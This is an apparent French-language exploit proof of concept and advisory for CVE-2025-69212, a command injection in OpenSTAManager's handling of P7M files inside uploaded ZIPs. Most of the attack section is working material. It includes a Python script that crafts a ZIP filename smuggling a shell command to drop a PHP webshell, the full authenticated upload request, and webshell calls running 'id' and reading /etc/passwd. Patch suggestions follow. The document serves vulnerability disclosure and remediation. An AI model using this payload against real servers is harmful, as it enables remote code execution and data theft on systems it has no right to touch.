
Exploit proof-of-concept pour CVE-2025-69212 : injection de commandes OS dans le traitement des fichiers P7M d'OpenSTAManager, permettant une exécution de code à distance authentifiée via un téléchargement de ZIP malveillant.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2025-69212 |
| Gravité | CRITIQUE |
| Avis | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité critique d'injection de commande OS existe dans la fonctionnalité de décodage de fichiers P7M (XML signé). Un attaquant authentifié peut télécharger un fichier ZIP contenant un fichier .p7m avec un nom malveillant pour exécuter des commandes système arbitraires sur le serveur.
Fichier : src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
Le problème :
$file est passé directement à exec() sans assainissementplugins/importFE_ZIP/actions.php:126 (lorsque l'import automatique est activé)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (constructeur)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m, decodeP7M() est appeléexec()⚠️ NOTE IMPORTANTE : ZipArchive::extractTo() de PHP divise les noms de fichiers sur le caractère /. La charge utile ne doit PAS contenir de / dans les commandes. Utilisez cd directory && command au lieu de chemins absolus.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Réponse (l'erreur 500 est attendue - l'analyse XML échoue APRÈS l'exécution de la commande) :
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Vérification - Webshell créé :
Le Webshell est accessible publiquement sans authentification :
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
ou
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Découvert par : Łukasz Rybak
Cette CVE a été divulguée de manière responsable conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici sont uniquement à des fins éducatives et défensives.